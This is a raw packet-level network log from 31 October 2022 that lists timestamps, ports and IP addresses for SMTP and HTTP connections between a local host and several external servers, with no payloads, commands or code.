Oct 31, 2022 12:20:25.864386082 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:25.864459038 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:25.864553928 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:25.927484035 CET	80	49921	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:26.004395008 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:26.015886068 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.018677950 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:26.018702984 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:26.018728971 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:26.018904924 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:26.019056082 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:26.019212961 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:26.041302919 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.042923927 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:26.126179934 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:26.126492977 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:26.128992081 CET	25	49917	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:26.129193068 CET	49917	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:26.134728909 CET	25	49918	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:26.134897947 CET	49918	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:26.251884937 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.272423983 CET	25	49917	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:26.272562027 CET	49917	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:26.274225950 CET	25	49917	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:26.274399996 CET	49917	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:26.278966904 CET	25	49918	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:26.279102087 CET	49918	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:26.280328989 CET	25	49918	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:26.280433893 CET	49918	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:26.286298990 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.286595106 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:26.362926960 CET	49937	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:26.442866087 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:26.495079041 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.521233082 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.521754026 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:26.524432898 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:26.554702044 CET	80	49937	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:26.555685043 CET	49937	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:26.560195923 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:26.579569101 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:26.586644888 CET	49937	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:26.728873014 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.728910923 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.728925943 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.729022026 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.729181051 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.729259968 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:26.729336023 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:26.734653950 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.734836102 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:26.778589964 CET	80	49937	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:26.778620958 CET	80	49937	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:26.778815985 CET	49937	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:26.778872967 CET	49937	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:26.895792007 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:26.933664083 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933705091 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933726072 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933748960 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933772087 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933794975 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933815956 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933836937 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933857918 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933881044 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933901072 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933922052 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933943033 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933964014 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.933962107 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:26.933984995 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.934006929 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.934029102 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.934052944 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.934072018 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:26.939018965 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.939069986 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:26.955941916 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:26.956171989 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:26.970585108 CET	80	49937	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:27.084981918 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.085189104 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:27.110637903 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:27.110721111 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:27.111740112 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:27.111820936 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:27.138261080 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138303995 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138339996 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138366938 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138396025 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138422966 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138449907 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138561964 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138717890 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138762951 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138791084 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138818979 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138849020 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138895035 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138925076 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138952017 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.138978958 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.139036894 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.172920942 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.173116922 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:27.382008076 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.401956081 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.407762051 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:27.407890081 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:27.448318958 CET	49957	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:27.519110918 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.519491911 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:27.520528078 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:27.641748905 CET	80	49957	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:27.641961098 CET	49957	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:27.655570030 CET	49957	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:27.835665941 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.836483955 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.836498976 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.836561918 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.836606979 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:27.836606979 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:27.836644888 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.836663008 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.836672068 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:27.836709976 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:27.836733103 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:27.836740971 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.836756945 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.836765051 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.836819887 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:27.836849928 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:27.836910963 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.836925983 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:27.836966991 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:27.836997986 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:27.848834991 CET	80	49957	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:27.848858118 CET	80	49957	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:27.848984957 CET	49957	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:27.849101067 CET	49957	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:28.042229891 CET	80	49957	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:28.152764082 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.152823925 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.152842999 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.152858973 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.152868032 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:28.152874947 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.152892113 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.152909040 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.152928114 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.152928114 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:28.152945042 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.152956963 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:28.152965069 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.152982950 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.152996063 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:28.153000116 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.153017998 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:28.153018951 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.153037071 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.153054953 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.153074026 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.153090954 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.153107882 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.153125048 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.153141975 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469322920 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469347000 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469358921 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469369888 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469382048 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469392061 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469405890 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469829082 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469870090 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469893932 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469913960 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469933987 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469957113 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.469985962 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.470016956 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.470047951 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.470078945 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.470118046 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.609401941 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.609564066 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:28.609601021 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.609663010 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:28.660489082 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:28.687366009 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.687443018 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:28.715704918 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.715866089 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:28.726888895 CET	49980	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:28.742571115 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.745879889 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.746407986 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:28.773485899 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.773623943 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:28.805197001 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.916209936 CET	80	49980	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:28.916893959 CET	49980	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:28.917105913 CET	49980	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:28.919524908 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.919699907 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:28.925637960 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:28.933368921 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:28.946368933 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.946986914 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.947643042 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:28.949240923 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:28.976088047 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.976114035 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.976129055 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.976141930 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.976152897 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.976183891 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:28.976274014 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:28.976303101 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:28.981297970 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:28.981400967 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:29.003066063 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003087997 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003099918 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003110886 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003123045 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003134012 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003144979 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003158092 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003170013 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003180981 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003177881 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:29.003216982 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003257990 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:29.003281116 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003293037 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:29.003355980 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003410101 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003422022 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003431082 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003442049 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.003452063 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.008117914 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.008132935 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030072927 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030092955 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030103922 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030116081 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030122995 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030143023 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030196905 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030209064 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030220985 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030232906 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030244112 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030256033 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030267000 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030278921 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030291080 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030302048 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030314922 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030327082 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.030639887 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:29.034720898 CET	49982	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:29.057470083 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.060305119 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.060324907 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.060432911 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:29.070641994 CET	49977	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:29.097397089 CET	25	49977	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:29.103015900 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:29.103425980 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:29.105462074 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:29.106302977 CET	80	49980	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:29.106369972 CET	80	49980	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:29.106693029 CET	49980	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:29.106865883 CET	49980	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:29.126233101 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:29.183747053 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.208177090 CET	25	49982	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:29.208359957 CET	49982	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:29.249752045 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.249965906 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.257910013 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:29.258126974 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:29.296221972 CET	80	49980	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:29.296272993 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:29.296473980 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:29.315063953 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.315273046 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.380609989 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.380657911 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.380919933 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.382415056 CET	25	49982	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:29.385173082 CET	49982	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:29.413006067 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:29.413875103 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:29.442989111 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:29.443164110 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:29.446002960 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.446198940 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.469369888 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:29.469536066 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:29.514080048 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.514408112 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.558990955 CET	25	49982	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:29.559146881 CET	25	49982	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:29.560570955 CET	49982	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:29.579467058 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.579730988 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.581866026 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.591540098 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:29.591651917 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:29.607866049 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:29.647423983 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.647479057 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.647552967 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.647577047 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.647577047 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.647607088 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.647635937 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.647655964 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.647699118 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.647699118 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.686225891 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.686435938 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.713119984 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713155031 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713174105 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713188887 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713211060 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713228941 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713241100 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713247061 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.713258982 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713273048 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713289976 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713311911 CET	25	49987	217.69.139.150	192.168.2.5
